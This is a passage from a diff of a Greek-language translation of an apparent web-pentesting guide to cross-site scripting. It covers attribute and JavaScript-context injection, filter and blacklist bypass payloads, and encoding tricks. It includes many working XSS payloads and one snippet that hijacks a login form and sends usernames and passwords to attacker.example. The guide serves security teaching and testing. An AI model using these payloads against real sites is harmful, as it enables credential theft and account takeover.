||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -275,12 +274,12 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
||||
```
|
||||
### Μέσα στο χαρακτηριστικό
|
||||
|
||||
Ακόμη κι αν **δεν μπορείτε να ξεφύγετε από το attribute** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **σε ποιο attribute** αντανακλάται η τιμή σας και **αν ελέγχετε ολόκληρη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα event όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.\
|
||||
Ένα ακόμη ενδιαφέρον **παράδειγμα** είναι το attribute `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
Ακόμα κι αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` is being encoded or deleted), ανάλογα με **ποιο χαρακτηριστικό** αντανακλά την τιμή σας και **αν ελέγχετε ολόκληρη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα event όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ.\
|
||||
Ένα ακόμα ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το `javascript:` πρωτόκολλο για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass inside event using HTML encoding/URL encode**
|
||||
**Παρακάμψη μέσα στο event χρησιμοποιώντας HTML encoding/URL encode**
|
||||
|
||||
Οι **HTML encoded χαρακτήρες** μέσα στην τιμή των attributes των HTML tags **αποκωδικοποιούνται κατά το runtime**. Επομένως κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
Οι **HTML encoded characters** μέσα στην τιμή των attribute των HTML tags **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως κάτι σαν το ακόλουθο θα είναι έγκυρο (το payload είναι με έντονα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Σημειώστε ότι **οποιοσδήποτε τύπος HTML encode είναι έγκυρος**:
|
||||
```javascript
|
||||
@ -309,9 +308,9 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Ειδικά πρωτόκολλα μέσα στην ιδιότητα
|
||||
### Ειδικά πρωτόκολλα εντός του attribute
|
||||
|
||||
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα σημεία για να **εκτελέσετε αυθαίρετο JS κώδικα**. Ορισμένα θα απαιτήσουν αλληλεπίδραση χρήστη, άλλα όχι.
|
||||
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα σημεία για να **εκτελέσετε αυθαίρετο JS κώδικα**. Κάποια θα απαιτούν αλληλεπίδραση χρήστη, άλλα όχι.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -333,7 +332,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Μέρη όπου μπορείτε να εισαγάγετε αυτά τα πρωτόκολλα**
|
||||
|
||||
**Γενικά** το πρωτόκολλο `javascript:` μπορεί να **χρησιμοποιηθεί σε οποιοδήποτε tag που δέχεται το attribute `href`** και σε **τα περισσότερα** από τα tags που δέχονται το **attribute `src`** (αλλά όχι `<img>`)
|
||||
**Γενικά** το πρωτόκολλο `javascript:` μπορεί να **χρησιμοποιηθεί σε οποιοδήποτε tag που δέχεται το attribute `href`** και στα **περισσότερα** tags που δέχονται το **attribute `src`** (αλλά όχι `<img`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -353,13 +352,15 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Άλλα τεχνάσματα απόκρυψης**
|
||||
**Άλλα κόλπα απόκρυψης**
|
||||
|
||||
_**Σε αυτή την περίπτωση, το HTML encoding και το Unicode encoding trick από την προηγούμενη ενότητα είναι επίσης έγκυρα, καθώς βρίσκεστε μέσα σε ένα attribute.**_
|
||||
_**Σε αυτή την περίπτωση το κόλπο με το HTML encoding και το κόλπο με το Unicode encoding από την προηγούμενη ενότητα ισχύουν επίσης καθώς βρίσκεστε μέσα σε ένα attribute.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Επιπλέον, υπάρχει ένα ακόμη **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα κι αν το input σας μέσα στο `javascript:...` είναι URL encoded, θα γίνει URL decoded πριν εκτελεστεί.** Έτσι, αν χρειαστεί να **escape** από το **string** χρησιμοποιώντας ένα **single quote** και βλέπετε ότι **είναι URL encoded**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **single quote** κατά το χρόνο **εκτέλεσης**.
|
||||
Επιπλέον, υπάρχει ένα ακόμα **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα κι αν η είσοδός σας μέσα στο `javascript:...` υποβάλλεται σε URL encoded, θα γίνει URL decoded πριν εκτελεστεί.**
|
||||
|
||||
Έτσι, αν χρειαστεί να **escape** από το **string** χρησιμοποιώντας ένα **single quote** και δείτε ότι **υποβάλλεται σε URL encoded**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **single quote** κατά τον χρόνο **εκτέλεσης**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -367,7 +368,7 @@ _**Σε αυτή την περίπτωση, το HTML encoding και το Unico
|
||||
```
|
||||
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, αυτό **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
|
||||
|
||||
**Χρήση Hex και Octal encode με `javascript:`**
|
||||
**Χρησιμοποιώντας Hex και Octal encode με `javascript:`**
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal encode** μέσα στο χαρακτηριστικό `src` του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags to execute JS**:
|
||||
```javascript
|
||||
@ -385,7 +386,8 @@ _**Σε αυτή την περίπτωση, το HTML encoding και το Unico
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Αν μπορείς να εισάγεις οποιοδήποτε URL σε ένα αυθαίρετο **`<a href=`** tag που περιέχει τα attributes **`target="_blank" and rel="opener"`**, έλεγξε την **επόμενη σελίδα για να εκμεταλλευτείς αυτή τη συμπεριφορά**:
|
||||
Αν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο **`<a href=`** tag που περιέχει τα χαρακτηριστικά **`target="_blank" and rel="opener"`**, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -393,7 +395,8 @@ _**Σε αυτή την περίπτωση, το HTML encoding και το Unico
|
||||
|
||||
### Παράκαμψη on Event Handlers
|
||||
|
||||
Πρώτα, έλεγξε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμα **"on" event handlers**.\ Σε περίπτωση που υπάρχει κάποια blacklist που σε αποτρέπει από το να δημιουργήσεις αυτούς τους event handlers, μπορείς να δοκιμάσεις τις παρακάτω παρακάμψεις:
|
||||
Πρώτα απ' όλα ελέγξτε αυτή τη σελίδα ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) για χρήσιμα **"on" event handlers**.\
|
||||
Σε περίπτωση που υπάρχει κάποια blacklist που σας εμποδίζει να δημιουργήσετε αυτούς τους event handlers μπορείτε να δοκιμάσετε τις παρακάτω παρακάμψεις:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -408,14 +411,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (hidden input, link, canonical, meta)
|
||||
### XSS σε "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
|
||||
Από [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **τώρα είναι δυνατό να γίνει κατάχρηση των hidden inputs με:**
|
||||
Από [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **πλέον είναι δυνατό να καταχραστεί κανείς hidden inputs με:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
Και σε **meta tags**:
|
||||
Και στις **ετικέτες meta**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -429,37 +432,37 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Από [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload inside a hidden attribute**, εφόσον μπορείτε να **πείσετε** το **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στον Firefox σε Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και σε OS X είναι **CTRL+ALT+X**. Μπορείτε να προσδιορίσετε διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας διαφορετικό πλήκτρο στο access key attribute. Εδώ είναι το vector:
|
||||
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload inside a hidden attribute**, εφόσον καταφέρετε να πείσετε τον/την **victim** να πατήσει τον **key combination**. Στον Firefox (Windows/Linux) ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας διαφορετικό πλήκτρο στο access key attribute. Ιδού το vector:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Το XSS payload θα είναι κάτι σαν αυτό: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**Το XSS payload θα είναι κάτι σαν το εξής: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
|
||||
Έχουν ήδη παρουσιαστεί αρκετά κόλπα με τη χρήση διαφορετικής κωδικοποίησης μέσα σε αυτή την ενότητα. Επιστρέψτε για να μάθετε πού μπορείτε να χρησιμοποιήσετε:
|
||||
Διαφορετικά κόλπα που χρησιμοποιούν διάφορες κωδικοποιήσεις έχουν ήδη παρουσιαστεί μέσα σε αυτήν την ενότητα. Επιστρέψτε **πίσω για να μάθετε πού μπορείτε να χρησιμοποιήσετε:**
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
- **URL encoding**
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
- **HTML κωδικοποίηση (HTML tags)**
|
||||
- **Unicode κωδικοποίηση (μπορεί να είναι έγκυρος JS κώδικας):** `\u0061lert(1)`
|
||||
- **URL κωδικοποίηση**
|
||||
- **Hex και Octal κωδικοποίηση**
|
||||
- **data κωδικοποίηση**
|
||||
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
Διαβάστε το [Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
Διαβάστε το J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Αν βρήκατε ένα **XSS σε ένα πολύ μικρό μέρος** της σελίδας που απαιτεί κάποια μορφή αλληλεπίδρασης (ίσως ένας μικρός σύνδεσμος στο footer με ένα onmouseover element), μπορείτε να προσπαθήσετε να **τροποποιήσετε τον χώρο που καταλαμβάνει αυτό το στοιχείο** για να μεγιστοποιήσετε τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος.
|
||||
Αν βρείτε ένα **XSS σε ένα πολύ μικρό μέρος** της σελίδας που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένας μικρός σύνδεσμος στο footer με ένα onmouseover element), μπορείτε να προσπαθήσετε να **τροποποιήσετε τον χώρο που καταλαμβάνει αυτό το στοιχείο** για να μεγιστοποιήσετε τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος.
|
||||
|
||||
Για παράδειγμα, μπορείτε να προσθέσετε κάποια styling στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Για παράδειγμα, μπορείτε να προσθέσετε κάποιο styling στο στοιχείο όπως: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Αλλά, εάν το WAF φιλτράρει το style attribute, μπορείτε να χρησιμοποιήσετε CSS Styling Gadgets, οπότε αν βρείτε, για παράδειγμα
|
||||
Αλλά, αν το WAF φιλτράρει το style attribute, μπορείτε να χρησιμοποιήσετε CSS Styling Gadgets, οπότε αν βρείτε, για παράδειγμα
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
@ -467,27 +470,27 @@ Read the J[avaScript bypass blacklist of the following section](#javascript-bypa
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Τώρα μπορείτε να τροποποιήσετε τον σύνδεσμο και να τον φέρετε στη μορφή
|
||||
Τώρα μπορείτε να τροποποιήσετε τον σύνδεσμό σας και να τον φέρετε στη μορφή
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
Αυτό το κόλπο προέρχεται από [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Injecting inside JavaScript code
|
||||
|
||||
Σε αυτές τις περιπτώσεις η **input** σας θα αντανακλάται μέσα στον JS code ενός αρχείου `.js` ή ανάμεσα σε `<script>...</script>` tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS code ή σε attributes που αποδέχονται το πρωτόκολλο `javascript:`.
|
||||
Σε αυτές τις περιπτώσεις το **input** σας θα **αντανακλάται μέσα στον JS κώδικα** ενός `.js` αρχείου ή μεταξύ των `<script>...</script>` tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS κώδικα ή ανάμεσα σε attributes που δέχονται το πρωτόκολλο `javascript:`.
|
||||
|
||||
### Escaping \<script> tag
|
||||
|
||||
Αν ο κώδικας σας εισάγεται μέσα σε `<script> [...] var input = 'reflected data' [...] </script>` μπορείτε εύκολα να **"ξεφύγετε" κλείνοντας το `<script>`** tag:
|
||||
Αν ο κώδικάς σας εισάγεται μέσα σε `<script> [...] var input = 'reflected data' [...] </script>` μπορείτε εύκολα να **ξεφύγετε κλείνοντας το `<script>`** tag:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Σημείωσε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει το μονό εισαγωγικό**. Αυτό συμβαίνει επειδή **HTML parsing is performed first by the browser**, το οποίο περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση του JavaScript για να κατανοήσει και να εκτελέσει τα ενσωματωμένα scripts γίνεται μόνο αργότερα.
|
||||
Σημειώστε ότι σε αυτό το παράδειγμα **δεν έχουμε καν κλείσει το απλό απόστροφο**. Αυτό συμβαίνει επειδή η **HTML parsing εκτελείται πρώτα από το πρόγραμμα περιήγησης**, το οποίο περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων μπλοκ script. Η ανάλυση της JavaScript για να κατανοηθούν και να εκτελεστούν τα ενσωματωμένα scripts γίνεται μόνο στη συνέχεια.
|
||||
|
||||
### Μέσα στον κώδικα JS
|
||||
|
||||
Αν τα `<>` φιλτράρονται μπορείς ακόμα να **ξεφύγεις από τη συμβολοσειρά** όπου βρίσκεται η είσοδός σου και να **εκτελέσεις αυθαίρετο JS**. Είναι σημαντικό να **διορθώσεις τη σύνταξη του JS**, γιατί αν υπάρχουν σφαλμάτα, ο κώδικας JS δεν θα εκτελεστεί:
|
||||
Αν τα `<>` φιλτράρονται, μπορείτε ακόμα να **escape the string** στο σημείο όπου η είσοδός σας **βρίσκεται** και να **execute arbitrary JS**. Είναι σημαντικό να **fix JS syntax**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -495,25 +498,25 @@ This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα παραθεματισμένο JavaScript string (π.χ., server-side echo σε ένα inline script), μπορείτε να τερματίσετε το string, να inject code και να επιδιορθώσετε το συντακτικό ώστε το parsing να παραμείνει έγκυρο. Γενικός σκελετός:
|
||||
Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα quoted JavaScript string (π.χ., server-side echo μέσα σε ένα inline script), μπορείτε να τερματίσετε τη συμβολοσειρά, να εισάγετε κώδικα και να επιδιορθώσετε τη σύνταξη ώστε η ανάλυση να παραμείνει έγκυρη. Γενικός σκελετός:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
<INJECTION> // attacker-controlled JS
|
||||
; a = " // repair and resume expected string/statement
|
||||
```
|
||||
Παράδειγμα μοτίβου URL όταν η ευάλωτη παράμετρος ανακλάται σε μια JS συμβολοσειρά:
|
||||
Παράδειγμα προτύπου URL όταν η ευάλωτη παράμετρος αντικατοπτρίζεται σε συμβολοσειρά JS:
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
Αυτό εκτελεί attacker JS χωρίς να χρειάζεται να αγγίξετε το HTML context (pure JS-in-JS). Συνδυάστε με blacklist bypasses παρακάτω όταν τα φίλτρα μπλοκάρουν keywords.
|
||||
Αυτό εκτελεί τον JS του επιτιθέμενου χωρίς να χρειάζεται να αγγίξετε το HTML context (pure JS-in-JS). Συνδυάστε με blacklist bypasses παρακάτω όταν φίλτρα μπλοκάρουν keywords.
|
||||
|
||||
### Template literals ``
|
||||
|
||||
Για να κατασκευάσετε **strings**, εκτός από single και double quotes, το JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals, καθώς επιτρέπουν **embedded JS expressions** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
||||
Επομένως, αν δείτε ότι το input σας είναι **reflected** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**:
|
||||
Για να κατασκευάσετε **strings**, πέρα από τα μονά και διπλά quotes, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση JS εκφράσεων** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
||||
Επομένως, αν βρείτε ότι η είσοδός σας αντανακλάται μέσα σε ένα JS string που χρησιμοποιεί backticks, μπορείτε να καταχραστείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**:
|
||||
|
||||
Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας:
|
||||
Αυτό μπορεί να **καταχραστεί** χρησιμοποιώντας:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -525,7 +528,7 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Εκτέλεση κωδικοποιημένου code
|
||||
### Κωδικοποιημένη εκτέλεση κώδικα
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -534,12 +537,12 @@ loop``
|
||||
```
|
||||
#### Παραδοτέα payloads με eval(atob()) και αποχρώσεις του scope
|
||||
|
||||
Για να κρατήσετε τις URLs πιο σύντομες και να παρακάμψετε αφελή φίλτρα λέξεων-κλειδιών, μπορείτε να κωδικοποιήσετε σε base64 την πραγματική λογική σας και να την εκτελέσετε με `eval(atob('...'))`. Εάν απλό φιλτράρισμα λέξεων-κλειδιών αποκλείει αναγνωριστικά όπως `alert`, `eval`, ή `atob`, χρησιμοποιήστε αναγνωριστικά με Unicode-escape που μεταγλωττίζονται ακριβώς με τον ίδιο τρόπο στον browser αλλά παρακάμπτουν φίλτρα που ταιριάζουν συμβολοσειρές:
|
||||
Για να διατηρήσετε τις URLs πιο σύντομες και να παρακάμψετε απλά φίλτρα λέξεων-κλειδιών, μπορείτε να base64-encode την πραγματική λογική σας και να την εκτελέσετε με `eval(atob('...'))`. Αν το απλό φιλτράρισμα λέξεων-κλειδιών μπλοκάρει identifiers όπως `alert`, `eval` ή `atob`, χρησιμοποιήστε Unicode-escaped identifiers που συντάσσονται ακριβώς το ίδιο στον browser αλλά παρακάμπτουν τα φίλτρα βασισμένα σε αντιστοιχία συμβολοσειρών:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Σημαντική λεπτομέρεια σχετικά με το πεδίο ορατότητας: `const`/`let` που δηλώνονται μέσα σε `eval()` είναι block-scoped και ΔΕΝ δημιουργούν globals· δεν θα είναι προσβάσιμες από μετέπειτα scripts. Χρησιμοποίησε ένα δυναμικά εισαγόμενο στοιχείο `<script>` για να ορίσεις global, μη επαναδεσμεύσιμα hooks όταν χρειάζεται (π.χ. για να hijack έναν form handler):
|
||||
Σημαντική λεπτομέρεια για το scoping: `const`/`let` που δηλώνονται μέσα σε `eval()` είναι block-scoped και ΔΕΝ δημιουργούν globals· δεν θα είναι προσβάσιμα από μεταγενέστερα scripts. Χρησιμοποιήστε ένα δυναμικά εισαγόμενο `<script>` element για να ορίσετε global, μη-επαναδεσμεύσιμα hooks όταν χρειάζεται (π.χ., to hijack a form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
@ -547,13 +550,13 @@ document.head.appendChild(s);
|
||||
```
|
||||
Αναφορά: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Εκτέλεση JS με κωδικοποίηση Unicode
|
||||
### Κωδικοποίηση Unicode — εκτέλεση JS
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript bypass blacklists τεχνικές
|
||||
### Τεχνικές παράκαμψης blacklists σε JavaScript
|
||||
|
||||
**Συμβολοσειρές**
|
||||
```javascript
|
||||
@ -586,12 +589,12 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**Αντικαταστάσεις κενών μέσα σε JS code**
|
||||
**Αντικαταστάσεις κενών μέσα σε JS κώδικα**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript σχόλια (από** [**JavaScript Comments**](#javascript-comments) **τεχνική)**
|
||||
**JavaScript σχόλια (από** [**JavaScript Comments**](#javascript-comments) **κόλπο)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -599,7 +602,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript new lines (από** [**JavaScript new line**](#javascript-new-lines) **κόλπο)**
|
||||
**JavaScript νέες γραμμές (από** [**JavaScript new line**](#javascript-new-lines) **κόλπο)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -611,7 +614,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233)
|
||||
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
|
||||
```
|
||||
**JavaScript λευκοί χαρακτήρες**
|
||||
**JavaScript κενά**
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
@ -628,7 +631,7 @@ console.log(log)
|
||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||
<img/src/onerror=alert(1)>
|
||||
```
|
||||
**Javascript μέσα σε ένα σχόλιο**
|
||||
**Javascript μέσα σε σχόλιο**
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
@ -714,7 +717,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Κλήση αυθαίρετης συνάρτησης (alert)**
|
||||
**Αυθαίρετη κλήση συνάρτησης (alert)**
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
@ -776,61 +779,73 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλή δεδομένα ελεγχόμενα από έναν attacker** όπως `location.href`. Ένας attacker μπορεί να εκμεταλλευτεί αυτό για να εκτελέσει arbitrary JS code.
|
||||
**Λόγω της εκτενούς εξήγησης των** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
Υπάρχει **JS code** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από επιτιθέμενο** όπως `location.href`. Ένας επιτιθέμενος μπορεί να το καταχραστεί για να εκτελέσει αυθαίρετο JS code.\
|
||||
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.
|
||||
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε εξήγηση για [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
Εκεί θα βρείτε μια λεπτομερή **εξήγηση του τι είναι οι DOM vulnerabilities, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\
|
||||
Επίσης, μην ξεχάσετε ότι **στο τέλος του αναφερόμενου post** μπορείτε να βρείτε μια εξήγηση για τους [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Αναβάθμιση Self-XSS
|
||||
### Upgrading Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
